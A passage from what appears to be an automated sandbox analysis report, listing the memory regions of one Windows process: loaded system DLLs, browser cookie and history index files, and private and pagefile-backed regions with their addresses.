mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 1932 start_va = 0x7fefaae0000 end_va = 0x7fefaae2fff entry_point = 0x7fefaae0000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 1933 start_va = 0x7fefaaf0000 end_va = 0x7fefab8bfff entry_point = 0x7fefaaf0000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Windows\\System32\\msvcp140.dll" (normalized: "c:\\windows\\system32\\msvcp140.dll") Region: id = 1934 start_va = 0x7fefab90000 end_va = 0x7fefab93fff entry_point = 0x7fefab90000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 1935 start_va = 0x7fefaba0000 end_va = 0x7fefaba3fff entry_point = 0x7fefaba0000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 1936 start_va = 0x7fefabb0000 end_va = 0x7fefabb2fff entry_point = 0x7fefabb0000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 1937 start_va = 0x7fefabc0000 end_va = 0x7fefabc3fff entry_point = 0x7fefabc0000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 1938 start_va = 0x7fefabd0000 end_va = 0x7fefabd2fff entry_point = 0x7fefabd0000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll") Region: id = 1939 start_va = 0x7fefabe0000 end_va = 0x7fefabe2fff entry_point = 0x7fefabe0000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 1940 start_va = 0x7fefabf0000 end_va = 0x7fefabf2fff entry_point = 0x7fefabf0000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 1941 start_va = 0x7fefac00000 end_va = 0x7fefac02fff entry_point = 0x7fefac00000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 1942 start_va = 0x7fefac10000 end_va = 0x7fefac12fff entry_point = 0x7fefac10000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll") Region: id = 1943 start_va = 0x7fefac20000 end_va = 0x7fefac22fff entry_point = 0x7fefac20000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 1944 start_va = 0x7fefac30000 end_va = 0x7fefad21fff entry_point = 0x7fefac30000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 1945 start_va = 0x7fefad30000 end_va = 0x7fefad33fff entry_point = 0x7fefad30000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 1946 start_va = 0x7fefad40000 end_va = 0x7fefad55fff entry_point = 0x7fefad40000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll") Region: id = 1947 start_va = 0x7fefcf30000 end_va = 0x7fefcf4dfff entry_point = 0x7fefcf30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1948 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1949 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1950 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1951 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1952 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1953 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1954 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1955 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1956 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1957 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1958 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1959 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1960 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1961 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1962 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1963 start_va = 0xe0000 end_va = 0xe6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1964 start_va = 0xf0000 end_va = 0xf1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 1965 start_va = 0x1bf0000 end_va = 0x1ebefff entry_point = 0x1bf0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1966 start_va = 0x1ec0000 end_va = 0x22b2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ec0000" filename = "" Region: id = 1967 start_va = 0x37c80000 end_va = 0x37c8ffff entry_point = 0x0 region_type = private name = "private_0x0000000037c80000" filename = "" Region: id = 1974 start_va = 0x7febdd50000 end_va = 0x7febdd5ffff entry_point = 0x0 region_type = private name = "private_0x000007febdd50000" filename = "" Region: id = 2092 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2093 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2094 start_va = 0x7fefa750000 end_va = 0x7fefaa65fff entry_point = 0x7fefa750000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 2095 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2308 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 2309 start_va = 0x130000 end_va = 0x130fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 2310 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2311 start_va = 0x150000 end_va = 0x151fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 2312 start_va = 0x160000 end_va = 0x16bfff entry_point = 0x160000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 2313 start_va = 0x170000 end_va = 0x171fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 2314 start_va = 0x190000 end_va = 0x197fff entry_point = 0x190000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 2315 start_va = 0x1a0000 end_va = 0x1affff entry_point = 0x1a0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 2316 start_va = 0x1b0000 end_va = 0x1b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 2317 start_va = 0x22c0000 end_va = 0x23bffff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 2318 start_va = 0x23c0000 end_va = 0x243ffff entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 2319 start_va = 0x2440000 end_va = 0x251efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002440000" filename = "" Region: id = 2320 start_va = 0x2560000 end_va = 0x265ffff entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 2321 start_va = 0x2660000 end_va = 0x275ffff entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 2322 start_va = 0x2760000 end_va = 0x285ffff entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 2323 start_va = 0x2860000 end_va = 0x295ffff entry_point = 0x0 region_type = private name = "private_0x0000000002860000" filename = "" Region: id = 2324 start_va = 0x2980000 end_va = 0x298ffff entry_point = 0x0 region_type = private name = "private_0x0000000002980000" filename = "" Region: id = 2325 start_va = 0x29f0000 end_va = 0x2aeffff entry_point = 0x0 region_type = private name = "private_0x00000000029f0000" filename = "" Region: id = 2326 start_va = 0x2b50000 end_va = 0x2c4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b50000" filename = "" Region: id = 2327 start_va = 0x2c50000 end_va = 0x2d4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c50000" filename = "" Region: id = 2328 start_va = 0x2dd0000 end_va = 0x2ecffff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 2329 start_va = 0x2f00000 end_va = 0x2f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f00000" filename = "" Region: id = 2330 start_va = 0x2f30000 end_va = 0x302ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f30000" filename = "" Region: id = 2331 start_va = 0x30e0000 end_va = 0x30effff entry_point = 0x0 region_type = private name = "private_0x00000000030e0000" filename = "" Region: id = 2332 start_va = 0x30f0000 end_va = 0x31affff entry_point = 0x30f0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2333 start_va = 0x31b0000 end_va = 0x32affff entry_point = 0x0 region_type = private name = "private_0x00000000031b0000" filename = "" Region: id = 2334 start_va = 0x32b0000 end_va = 0x35f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000032b0000" filename = "" Region: id = 2335 start_va = 0x3630000 end_va = 0x372ffff entry_point = 0x0 region_type = private name = "private_0x0000000003630000" filename = "" Region: id = 2336 start_va = 0x3800000 end_va = 0x38fffff entry_point = 0x0 region_type = private name = "private_0x0000000003800000" filename = "" Region: id = 2337 start_va = 0x3ac0000 end_va = 0x3acffff entry_point = 0x0 region_type = private name = "private_0x0000000003ac0000" filename = "" Region: id = 2338 start_va = 0x3ad0000 end_va = 0x3b4ffff entry_point = 0x0 region_type = private name = "private_0x0000000003ad0000" filename = "" Region: id = 2339 start_va = 0x77e10000 end_va = 0x77e12fff entry_point = 0x77e10000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 2340 start_va = 0x7fee75b0000 end_va = 0x7fee764ffff entry_point = 0x7fee75b0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 2341 start_va = 0x7fef4d40000 end_va = 0x7fef4d5bfff entry_point = 0x7fef4d40000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 2342 start_va = 0x7fef4d60000 end_va = 0x7fef4dc1fff entry_point = 0x7fef4d60000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 2343 start_va = 0x7fef59c0000 end_va = 0x7fef59cbfff entry_point = 0x7fef59c0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 2344 start_va = 0x7fef5ff0000 end_va = 0x7fef6063fff entry_point = 0x7fef5ff0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 2345 start_va = 0x7fef6570000 end_va = 0x7fef6580fff entry_point = 0x7fef6570000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 2346 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 2347 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 2348 start_va = 0x7fef93b0000 end_va = 0x7fef93b8fff entry_point = 0x7fef93b0000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 2349 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2350 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2351 start_va = 0x7fefa530000 end_va = 0x7fefa74cfff entry_point = 0x7fefa530000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 2352 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2353 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2354 start_va = 0x7fefb800000 end_va = 0x7fefb814fff entry_point = 0x7fefb800000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 2355 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2356 start_va = 0x7fefc080000 end_va = 0x7fefc097fff entry_point = 0x7fefc080000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2357 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2358 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 2359 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2360 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2361 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2362 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2363 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2364 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2365 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2366 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2367 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2368 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2369 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2370 start_va = 0x7fefee80000 end_va = 0x7feff0d8fff entry_point = 0x7fefee80000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 2371 start_va = 0x7feff6e0000 end_va = 0x7feff857fff entry_point = 0x7feff6e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 2372 start_va = 0x7feff870000 end_va = 0x7feff999fff entry_point = 0x7feff870000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 2373 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2374 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2375 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2376 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 2377 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2378 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2379 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2380 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2381 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2382 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2383 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2384 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2385 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2747 start_va = 0x1c0000 end_va = 0x1c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 2748 start_va = 0x3940000 end_va = 0x3a3ffff entry_point = 0x0 region_type = private name = "private_0x0000000003940000" filename = "" Region: id = 2749 start_va = 0x3b80000 end_va = 0x3c7ffff entry_point = 0x0 region_type = private name = "private_0x0000000003b80000" filename = "" Region: id = 2750 start_va = 0x3cc0000 end_va = 0x3dbffff entry_point = 0x0 region_type = private name = "private_0x0000000003cc0000" filename = "" Region: id = 2751 start_va = 0x3dc0000 end_va = 0x3fbffff entry_point = 0x0 region_type = private name = "private_0x0000000003dc0000" filename = "" Region: id = 2752 start_va = 0x4020000 end_va = 0x409ffff entry_point = 0x0 region_type = private name = "private_0x0000000004020000" filename = "" Region: id = 2753 start_va = 0x4260000 end_va = 0x435ffff entry_point = 0x0 region_type = private name = "private_0x0000000004260000" filename = "" Region: id = 2754 start_va = 0x4360000 end_va = 0x475ffff entry_point = 0x0 region_type = private name = "private_0x0000000004360000" filename = "" Region: id = 2755 start_va = 0x7fef96b0000 end_va = 0x7fef9702fff entry_point = 0x7fef96b0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2756 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff entry_point = 0x7fefbc10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2757 start_va = 0x7fefce20000 end_va = 0x7fefce26fff entry_point = 0x7fefce20000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2758 start_va = 0x7fefcf10000 end_va = 0x7fefcf2afff entry_point = 0x7fefcf10000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2759 start_va = 0x7fefd0c0000 end_va = 0x7fefd10bfff entry_point = 0x7fefd0c0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2760 start_va = 0x7fefd210000 end_va = 0x7fefd266fff entry_point = 0x7fefd210000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 2761 start_va = 0x7fefd410000 end_va = 0x7fefd416fff entry_point = 0x7fefd410000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2762 start_va = 0x7fefd420000 end_va = 0x7fefd474fff entry_point = 0x7fefd420000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2763 start_va = 0x7fefd5f0000 end_va = 0x7fefd611fff entry_point = 